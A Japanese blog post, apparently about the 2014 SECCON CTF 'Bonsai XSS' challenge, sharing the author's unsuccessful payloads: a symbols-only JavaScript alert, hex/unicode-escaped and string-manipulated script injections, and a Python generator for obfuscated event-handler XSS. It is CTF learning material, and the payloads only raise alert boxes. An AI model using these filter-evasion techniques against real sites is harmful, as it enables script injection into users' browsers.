盆栽XSSのために書いたコードを供養する #seccon
得意でもないjsを一生懸命書いたけど点数にならなかったので供養したいと思います。つまりwriteupではない。
問題
stage1~4
記号はブラックリストに入らないことに気づいたので、はせがわさんの記事を参考に記号だけでalertを出した。
";$=+[];$={___:$++,__$:$++,_$_:$++,_$$:$++,$__:$++,$_$:$++,$$_:$++,$$$:$++};($.___)[({}+"")[$.$_$]+({}+"")[$.__$]+({}.$+"")[$.__$]+(!{}+"")[$._$$]+(!!{}+"")[$.___]+(!!{}+"")[$.__$]+({}.$+"")[$.___]+({}+"")[$.$_$]+(!!{}+"")[$.___]+({}+"")[$.__$]+(!!{}+"")[$.__$]][({}+"")[$.$_$]+({}+"")[$.__$]+({}.$+"")[$.__$]+(!{}+"")[$._$$]+(!!{}+"")[$.___]+(!!{}+"")[$.__$]+({}.$+"")[$.___]+({}+"")[$.$_$]+(!!{}+"")[$.___]+({}+"")[$.__$]+(!!{}+"")[$.__$]]((!{}+"")[$.__$]+(!{}+"")[$._$_]+({}+"")[$.$__]+(!!{}+"")[$.__$]+(!!{}+"")[$.___]+"(\'"+"\\"+-~[]+$._$$+-[]+"\\"+-~[]+$._$_+$._$$+"\\"+-~[]+$._$_+$._$$+"\')")($.__$)//
これを随時改変した。
stage5~8
jsの文字列操作とか数値参照とか使えばXSSって文字使わなくてすむとわかったのでそんな感じでやった。
stage5 \x3cscript\x3ealert('AAAAAXSS'.substring(55555-55550))\x3c\x2fscript\x3e stage6 \u003cscript\u003ealert('\u0058\u0053\u0053')\u003c\u002fscript\u003e stage7 <STYLE>@import'javascript:alert("DDDDDXSS".slice(66665-66660,88888-88880))';</STYLE> stage8 <script>eval('alBBBerBBBt'.split('BBB').join("")+'("'+'CCCCCXSS'.substr(99995-99990)+'")')</script>
stage 9~15
ここを参考に、クソ長いjavascriptを生成するpythonコードをつくった。
def gen(tag,eventh,i): c=chr(i+98) i+=20 text_con='constructor' text_ale='alert("XSS")' ret='<'+tag+'/'+eventh+'=\'('+str(i+50)+str(i+50)+')' con='[' for j in range(len(text_con)): t=text_con[j] con+='"'+c*i+t+'"['+str(i)+']+' con=con[:-1] con+=']' ret+=con*2 ale='(' for j in range(len(text_ale)): if j==6 or j==10: t='\\'+'"' else: t=text_ale[j] ale+='"'+c*i+t+'"['+str(i)+']+' ale=ale[:-1] ret+=ale ret+=')()\'>' return ret print(gen('input','onclick',1)) print('\n\n\n') print(gen('form','onmousemove',2)) print('\n\n\n') print(gen('select','onmousedown',3)) print('\n\n\n') print(gen('option','onmouseup',4)) print('\n\n\n') print(gen('textarea','onload',5)) print('\n\n\n') print(gen('input','onselect',6)) print('\n\n\n') print(gen('input','onkeydown',7)) print('\n\n\n')
で、生成されたコードを元にhtmlタグとイベントハンドラを適当に試行錯誤した。
15個でもいっぱいいっぱいだったのでこれ以降はやってない。
結果
やったねrewardとか書いてある!でもなんか変…
→通らなかった
まとめ
web、alert出してもflag出ないみたいな印象がより強まったし近寄りがたい
— せんず (@senz1024) 2014, 12月 7
なにが悪かったんだろう(´・ω・`)
とりあえず、がんばった割に点数にならなかったコードに黙祷(-人-)